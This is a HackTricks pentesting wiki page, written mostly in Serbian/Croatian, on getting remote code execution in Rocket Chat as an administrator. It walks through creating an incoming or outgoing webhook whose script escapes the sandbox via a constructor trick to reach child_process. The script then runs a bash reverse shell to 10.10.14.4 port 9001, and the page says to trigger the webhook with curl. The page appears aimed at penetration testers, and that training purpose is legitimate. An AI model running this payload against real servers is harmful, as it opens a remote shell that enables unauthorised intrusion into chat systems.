hacktricks/network-services-pentesting/pentesting-web/rocket-chat.md

# Rocket Chat

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>

{% embed url="https://websec.nl/" %}

## RCE

Ako ste admin unutar Rocket Chat-a, možete dobiti RCE.

* Idite na **`Integrations`** i izaberite **`New Integration`** i odaberite bilo koju: **`Incoming WebHook`** ili **`Outgoing WebHook`**.
* `/admin/integrations/incoming`

<figure><img src="../../.gitbook/assets/image (266).png" alt=""><figcaption></figcaption></figure>

* Prema [dokumentaciji](https://docs.rocket.chat/guides/administration/admin-panel/integrations), oba koriste ES2015 / ECMAScript 6 ([u suštini JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) za obradu podataka. Tako da uzmimo [rev shell za javascript](../../generic-methodologies-and-resources/reverse-shells/linux.md#nodejs) kao:
```javascript
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
* Konfigurišite WebHook (kanal i post kao korisničko ime moraju postojati):

<figure><img src="../../.gitbook/assets/image (905).png" alt=""><figcaption></figcaption></figure>

* Konfigurišite WebHook skriptu:

<figure><img src="../../.gitbook/assets/image (572).png" alt=""><figcaption></figcaption></figure>

* Sačuvajte promene
* Dobijte generisani WebHook URL:

<figure><img src="../../.gitbook/assets/image (937).png" alt=""><figcaption></figcaption></figure>

* Pozovite ga sa curl i trebali biste primiti rev shell

<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>

{% embed url="https://websec.nl/" %}

{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Podržite HackTricks</summary>

* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.

</details>
{% endhint %}